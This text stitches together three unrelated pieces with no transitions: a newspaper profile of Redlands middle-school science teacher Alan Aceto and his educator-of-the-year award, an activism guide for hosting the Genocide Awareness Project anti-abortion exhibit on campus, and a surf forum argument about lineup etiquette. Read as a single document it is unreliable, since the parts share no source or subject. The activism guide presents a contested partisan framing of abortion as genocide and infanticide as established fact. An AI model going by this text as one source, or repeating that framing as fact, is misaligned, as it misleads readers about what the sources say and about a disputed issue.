Hands On activity - Calculating speed, distance, and time using Bubble Tubes.
By Sarah Cooper-Glenn, For the Daily Facts
REDLANDS - Organized chaos greeted Eric Dahlstrom from the California League of Middle Schools in November when he walked into the Cope Middle School science classroom. Cope science teacher Alan Aceto was going from table to table as about 35 students played board games that they had designed.
"It's up to them what type of game they want to create," Aceto said, adding that he has seen a variety of themes, including Pokemon and variations on the latest video games.
His only rule? Advancing along the game path required a correct answer to one of his science review questions.
"It helped them study for the first semester final," Aceto said. "The repetition really helped."
Aceto's unconventional teaching methods impressed Dahlstrom and the league enough to name Aceto one of the area's educators of the year.
"He did a great job with his students and you could tell they loved him," said Dahlstrom, the league's trustee for Region 10, which covers the Inland Empire. "You could tell he had very high expectations for his students."
Aceto didn't reveal his classroom's state test scores, but said that after three years at Cope his students score "just fine" when it comes to standardized testing.
"Through bringing standards alive, and application of that knowledge, Mr. Aceto continues to earn some of the highest CST scores in Redlands for eighth-grade science," according to Cope Principal Kate Pearne.
The nomination was a difficult task, Pearne said, noting other deserving teachers at Cope. Aceto is the second Cope teacher to be honored by the league, as language arts teacher Susie Mayse was recognized previously.
"The teachers all seem to work well together," Dahlstrom said of his time observing at Cope. "When you walk on that campus you can tell it's a great place to work."
However, when each employee at Cope was asked to vote, the tally came out in favor of nominating Aceto.
"Many students have a favorite teacher on campus but what sets Mr. Aceto's teaching apart from almost any other teacher is his unique ability to be adored and respected by his students and also to effectively engage each and every one of his students academically, which is a difficult feat," Pearne wrote in her nomination letter.
"I hate lecturing," Aceto said. "I rarely do a demonstration. For me it's really more that I am a monitor ... this gives me a chance to meet with small groups for individual attention rather than lecturing to a group of 35."
Aceto, who has been teaching science at Cope for three years, prefers to let the students discover a love of science on their own through technology.
Aceto holds a master's degree in multimedia education from California State Polytechnic University, Pomona. He worked for the Los Angeles County School District for 11 years.
"But we wanted to start a family and this was a good place to go," Aceto said of his move to Redlands, where he taught at Redlands East Valley High School for two years.
"I really love what I do," Aceto said of his transition to middle school. "It is fun to come to work every day. I really feel like this is the age when you can hook them in and get them interested in stuff ... If they come out liking science, that's my goal."
A few of Aceto's unconventional ways to hook students into liking science include the use of cell phones in the classroom.
"I encourage it," he said.
Students use a smart phone application that Aceto designed to check homework assignments, do in-class quizzes and time experiments. Parents can download the app as well to see their child's to-do list or visit Aceto's class website to see what their child learned that day.
This coming school term, Aceto plans on having the students design their own app detailing the anatomy of the human body.
"It will go through the systems of the human body kind of like an encyclopedia," Aceto said.
Another average day in the Cope science classroom might involve racing Hot Wheels cars across a track to explore the rules of physics, using Skype to talk to a researcher in Antarctica who is studying baby penguins or playing alien bartender in an online game about acids and bases.
"I am always looking for ways to use technology in the classroom," Aceto said.
Last year, a $2,500 grant from the Redlands Educational Partnership gave Aceto's classroom the ability to purchase a new computer outfitted for video conferencing. Now on a regular basis students talk with Jean Pennycook, a researcher in Antarctica who is studying the penguin population there. Other virtual field trips taken through Skype will include a trip to the Grand Canyon to speak with a park ranger as well as a ranger from Yellowstone National Park.
In the coming months, Aceto plans on using money from a second grant from the Redlands Educational Partnership to incorporate Google tablet computers into the classroom.
"The biggest thing we look for when we go in every one of their classrooms is that they love what they are doing and they have a relationship with their students," Dahlstrom said of the award's criteria. "We want to see that they are creating that culture of learning and enjoyment in the classroom. So much of it is getting the kids to teach themselves. Kids at this age are exploring the idea of not listening to adults, so being that role model sets the stage for a great learning environment."
"Mr. Aceto's classroom is a remarkable combination of hands-on application of standards, student-led discovery, and teacher-led focused discussion," Pearne said in her nomination letter. "The best way to describe his classroom is as feeling `alive.' Rather than seeing students do "bookwork," one will see students creating and playing standards review board games, completing hands-on labs, video-conferencing with scientists from afar or participating in deep discussions of the science standard at hand."
The award was presented to Aceto at a Dec. 10 banquet at the Riverside Marriott.

Genocide Awareness Project/Justice for All ExhibitMore Activism Ideas
The Genocide Awareness Project (GAP) and Justice for All Exhibit are a traveling photo-mural exhibits which compare the contemporary genocide of abortion to historically recognized instances of genocide. Both are excellent events for general conservative groups and pro-life groups to hold on campus.
Abortion is a horrific practice, the enormity of which can hardly be expressed with words. For that exact reason, these two exhibits travel to colleges across the country to display photo exhibits highlighting the horror of abortion, reframing abortion as a matter of protecting human life rather than a women's rights issue.
This is a very confrontational event suitable only for strong and dedicated groups. You should be prepared for conflict, but this event is guaranteed to spread your message and bring the issue of infanticide to the forefront of discussion on your campus.
This event can be done at anytime of the year. However, it is typically held outdoors, so weather is a consideration. One day that might work well for your group is March 25, the International Day of the Unborn.
1. Contact the Center for Bio-Ethical Reform or Justice for All. If you contact GAP, explain that you want to bring the Genocide Awareness Project to your campus. GAP will supply everything needed for the event. Visit the GAP website at www.abortionno.org/gap.html. The Justice for All exhibit will similarly work with you, and may be contacted at www.jfaweb.org.
2. Reserve space on campus for the event. Contact the Student Activities Office and attempt to reserve the most high-traffic area available. Some groups hosting this event have posted signs announcing the event to passersby approaching the display from all directions. While this might potentially decrease the number of people who view the signs, you might consider it as a courtesy to those who feel unable to see the display.
3. Invite allied organizations. Ask other pro-life organizations on campus or in the outside community to assist with the display or set up an informational booth. This is a great way to strengthen cooperation between different groups in the pro-life movement, and to increase attendance and volunteers in the form of members of the other groups. Groups to consider inviting are other campus conservative groups and religious youth groups.
4. Advertise! Success depends on how well you publicize your event, so you should advertise early and often. This doesn't necessarily mean paid advertising; "earned media" may work even better for you. Click here to learn several important publicity measures to use before, during, and after the event.
5. Create a schedule. Have members of your group volunteer as much time as possible to monitor the display and speak to passersby.
6. Prepare for opposition. Keep a video camera available at all times, and record any aggression – both verbal and physical. If some behaves belligerently, ask why he or she objects to your exercise of your right to free speech. If objectors are pro-choice, consider asking why they object to images of what they believe to be a simple medical procedure. For more information on how to deal with opposition on campus, reference "Fight Back."
7. Advertise! (again) The fact that your event is over does not mean that your public relations work is done. Earned media can be extremely useful to you. Click here to learn several important follow-up publicity measures to do after the event is finished.

If I'm right about who started this topic, you are that long haired kid who got *****ed at by Ian Tilgman at 48th street on saturday. And if this is correct, you are a complete asshole for dissin me and all my teammates and the good people at KCoast, becuase Ian Tilgman doesn't even ride for K-Coast. And he wasn't yelling at you, he was just instructing you on how to get out of the way properly when someone is flying down the line at you, and you took it the wrong way. Someone has to teach people how to get out of the way properly or people will end up getting beat up bad. If, I'm wrong about who this is then, sorry.
I knew jack well from the Bombers days. How's he doing?
You are right about who started the thread and if I was wrong about who someone rides for then I definitely apologize. I know who you are also, it's always great to watch you surf, you're a super talented kid. If you read the original post I really had nothing negative to say, just to respect everyone else. Everyone who surfs year round gets frustrated about this time of year. If some "rule" has changed as to where you're supposed to go when someone is coming down the line, then maybe you could clear that one up for me. You paddle toward the white water, no matter if it's 2' or 8'............. been that way forever. Anyway, this thread really got out of hand and it ended up being something that it was not intended to be.
ps. i edited the original post to hopefully put an end to this thread.......
Zippy, all good man, no worries at all haha, Kevin did have some aggressive seeling methods compared to some of us hah, but its all good
